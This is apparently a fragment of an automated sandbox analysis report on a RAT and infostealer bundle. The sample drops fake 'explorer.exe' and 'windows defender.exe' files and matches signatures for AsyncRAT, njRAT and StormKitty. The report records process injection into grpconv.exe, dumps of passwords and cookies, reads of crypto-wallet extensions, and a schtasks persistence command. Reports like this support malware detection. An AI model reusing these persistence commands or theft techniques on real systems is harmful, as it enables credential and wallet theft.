"\Device\"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\\WINDOWS|\\Device\\Harddisk0\\Partition2"" (Indicator: "\Device\"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp"), Found string "= "\\Device\\HarddiskVolume1";" (Indicator: "\Device\"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp"), Found string "SystemDevice = "\\Device\\HarddiskVolume2";" (Indicator: "\Device\"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp"), Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00007364.00000000.154601.036D0000.00000004.mdmp 00000000-00007364.00000002.157710.036D0000.00000004.mdmp"), Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007364.00000000.154601.036D0000.00000004.mdmp 00000000-00007364.00000002.157710.036D0000.00000004.mdmp")5f:Tdeb,"Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\LAUNCHER.EXE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\BUILD.EXE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SYSTEM PROPERTIES.EXE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\WINDOWS DEFENDER.EXE"; Value: "") "Launcher.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\EXPLORER.EXE"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\GRPCONV.EXE"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "Build.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "")60:T4ff,"Build.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\Build.exe]- [targetUID: 00000000-00005992] "windows defender.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\windows defender.exe]- [targetUID: 00000000-00005868] "explorer.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\explorer.exe]- [targetUID: 00000000-00007364] "Launcher.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\Launcher.exe]- [targetUID: 00000000-00005868] "System Properties.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%ALLUSERSPROFILE%\System Properties.exe]- [targetUID: 00000000-00005868] "explorcr.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%APPDATA%\explorcr.exe]- [targetUID: 00000000-00007420] "System Properties.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows 3 sections"- Location: [%TEMP%\System Properties.exe]- [targetUID: 00000000-00005868]61:T92c,"Launcher.exe" wrote 24288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\Launcher.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Launcher.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Launcher.exe" wrote 32442 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\System Properties.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Launcher.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\windows defender.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Launcher.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\explorer.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "System Properties.exe" wrote 53248 bytes starting with PE header signature to file "C:\ProgramData\System Properties.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...62:Tb93,Found string "\\DESKTOP-FVVF82A\root\CIMV2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "root\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_ComputerSystem.Name="DESKTOP-FVVF82A"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\cimv2:Win32_ComputerSystem.Name="DESKTOP-FVVF82A"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\CIMV2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Processor.DeviceID="CPU0"" (Indicator: "root\cimv2"; in Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "WmiPrvSE.exe" (Indicator: "wmiprvse.exe"; in Source: "00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\cimv2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "\.\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_OperatingSystem=@" (Indicator: "root\cimv2"; in Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found string "root\CIMV2" (Indicator: "root\cimv2"; in Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\CIMV2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\CIMV2:Win32_VideoController.DeviceID="VideoController1"" (Indicator: "root\cimv2"; in Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\CIMV2:Win32_Processor.DeviceID="CPU0"" (Indicator: "root\cimv2"; in Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp")63:Ta65,"Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AlternativeEdgeCookies-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\FirefoxCookies-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\InstalledApps-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /shtml "%APPDATA%\watch-output_20250917145800.html"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ChromeV20-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\BrowserHistory-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\DefenderLogs-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\WorkingTasks-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Bookmarks-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ProductKeys-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\ExtensionsView-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\Autofill-output_20250917145800.txt"" - (UID: 00000000-00005992) "Build.exe" called "CreateProcessW" with parameter ""%WINDIR%\SysWOW64\grpconv.exe" /stext "%APPDATA%\AllPasswords-output_20250917145800.txt"" - (UID: 00000000-00005992) "System Properties.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" /tr "%ALLUSERSPROFILE%\System Prop" - (UID: 00000000-00006668), "powershell.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless=new --dis" - (UID: 00000000-00007948)64:T4be,"Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 1e0c) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 414) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: f00) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 10d0) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: d18) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: ed8) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 1148) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 2b4) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 1880) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 16f4) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 1484) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: 141c) "Build.exe" set thread context in remote process "%WINDIR%\SysWOW64\grpconv.exe" (PID: a94)65:T110b,"Launcher.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\Launcher.exe" (Handle: 1300) "Launcher.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\Build.exe" (Handle: 1268) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1108) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1108) "Build.exe" wrote 0000E600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1108) "Build.exe" wrote 00003200 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1108) "Build.exe" wrote 00005C00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1108) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1112) "Build.exe" wrote 00001000 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1112) "Build.exe" wrote 0000B000 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1112) "Build.exe" wrote 00003000 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1112) "Build.exe" wrote 00005000 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1112) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00011200 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00004200 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00000600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00005E00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1128) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00009800 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00001A00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00000C00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00004600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1132) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00031E00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00007C00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00000E00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00003C00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1144) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 00089000 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 0000BC00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 00001200 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 0000B600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1172) "Build.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196) "Build.exe" wrote 00000400 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196) "Build.exe" wrote 0000EE00 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196) "Build.exe" wrote 00003800 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196) "Build.exe" wrote 00000600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196) "Build.exe" wrote 00005600 bytes to a remote process "C:\Windows\SysWOW64\grpconv.exe" (Handle: 1196)66:T9db,YARA signature "win_njrat_g0" classified file "explorer.exe" as "njrat,rat" (Author: Various authors / Slavo Greminger, SWITCH-CERT) YARA signature "win_njrat_g0" classified file "explorcr.exe" as "njrat,rat" (Author: Various authors / Slavo Greminger, SWITCH-CERT) YARA signature "win_njrat_g0" classified file "windows defender.exe" as "njrat,rat" (Author: Various authors / Slavo Greminger, SWITCH-CERT) YARA signature "MALWARE_Win_AsyncRAT" matched process "00000000-00006668" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_StormKitty" matched file "explorer.exe" as "Detects StormKitty infostealer" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "explorer.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_DLAgent10" matched file "explorer.exe" as "Detects known downloader agent" (Author: ditekSHen) YARA signature "MALWARE_Win_ArrowRAT" matched file "explorer.exe" as "Detects ArrowRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_VenomRAT" matched file "explorer.exe" as "Detects VenomRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_StormKitty" matched file "explorcr.exe" as "Detects StormKitty infostealer" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "explorcr.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_DLAgent10" matched file "explorcr.exe" as "Detects known downloader agent" (Author: ditekSHen) YARA signature "MALWARE_Win_ArrowRAT" matched file "explorcr.exe" as "Detects ArrowRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_VenomRAT" matched file "explorcr.exe" as "Detects VenomRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "System Properties.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_XWorm" matched file "System Properties.exe" as "Detects XWorm" (Author: ditekSHen) YARA signature "MALWARE_Win_StormKitty" matched file "windows defender.exe" as "Detects StormKitty infostealer" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "windows defender.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_DLAgent10" matched file "windows defender.exe" as "Detects known downloader agent" (Author: ditekSHen) YARA signature "MALWARE_Win_ArrowRAT" matched file "windows defender.exe" as "Detects ArrowRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_VenomRAT" matched file "windows defender.exe" as "Detects VenomRAT" (Author: ditekSHen)67:T513,"Build.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "Build.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "Build.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\BOBFEJFDLHNABGGLOMPIOCLNDJEJOLCH" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AHOLPFDIALJGJFHOMIHKJBMGJIDLCDNO" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\MFGCCJCHIHFKKINDFPPNAOOECGFNEIII" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AIIFBNBFOBPMEEKIPHEEIJIMDPNLPGPP" "Build.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\MGFFKFBIDIHJPOAOMAJLBGCHDDLICGPN"68:T476,Build.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Build.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Build.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\BOBFEJFDLHNABGGLOMPIOCLNDJEJOLCH related to OTP Auth Build.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Build.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) Build.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\MFGCCJCHIHFKKINDFPPNAOOECGFNEIII related to TokenPocket Build.exe trying to open a file %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\AIIFBNBFOBPMEEKIPHEEIJIMDPNLPGPP related to Terra Station69:Ta9b,Spawned process "Launcher.exe" (UID: 00000000-00007048) Spawned process "Launcher.exe" (UID: 00000000-00005868) Spawned process "Build.exe" (UID: 00000000-00005992) Spawned process "System Properties.exe" (UID: 00000000-00006668) Spawned process "windows defender.exe" (UID: 00000000-00006308) Spawned process "explorer.exe" (UID: 00000000-00007364) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AlternativeEdgeCookies-output_20250917145800.txt"" (UID: 00000000-00007692) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\FirefoxCookies-output_20250917145800.txt"" (UID: 00000000-00001044) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\InstalledApps-output_20250917145800.txt"" (UID: 00000000-00003840) Spawned process "grpconv.exe" with commandline "/shtml "%APPDATA%\\watch-output_20250917145800.html"" (UID: 00000000-00004304) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ChromeV20-output_20250917145800.txt"" (UID: 00000000-00003352) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\BrowserHistory-output_20250917145800.txt"" (UID: 00000000-00003800) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\DefenderLogs-output_20250917145800.txt"" (UID: 00000000-00004424) Spawned process "schtasks.exe" with commandline "/create /f /RL HIGHEST /sc minute /mo 1 /tn "System Properties" /tr "%ALLUSERSPROFILE%\\System Properties.exe"" (UID: 00000000-00000196) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\WorkingTasks-output_20250917145800.txt"" (UID: 00000000-00000692) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Bookmarks-output_20250917145800.txt"" (UID: 00000000-00006272) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ProductKeys-output_20250917145800.txt"" (UID: 00000000-00005876) Spawned process "System Properties.exe" (UID: 00000000-00007468) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\ExtensionsView-output_20250917145800.txt"" (UID: 00000000-00005252) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\Autofill-output_20250917145800.txt"" (UID: 00000000-00005148) Spawned process "grpconv.exe" with commandline "/stext "%APPDATA%\\AllPasswords-output_20250917145800.txt"" (UID: 00000000-00002708) Spawned process "powershell.exe" with commandline "-ExecutionPolicy Bypass -File "%APPDATA%\\" (UID: 00000000-00007948), Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\tmp98B1.tmp.bat""" (UID: 00000000-00007352), Spawned process "timeout.exe" with commandline "timeout 3" (UID: 00000000-00002136), Spawned process "explorcr.exe" (UID: 00000000-00007420)6a:T9b3,Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00001120.00000001.300863.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.06150000.00000004.mdmp, 00000000-00001120.00000003.313592.00330000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00001120.00000001.300863.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.00330000.00000004.mdmp, 00000000-00001120.00000002.302787.06150000.00000004.mdmp, 00000000-00001120.00000003.313592.00330000.00000004.mdmp") Found reference to API "Win32API|National 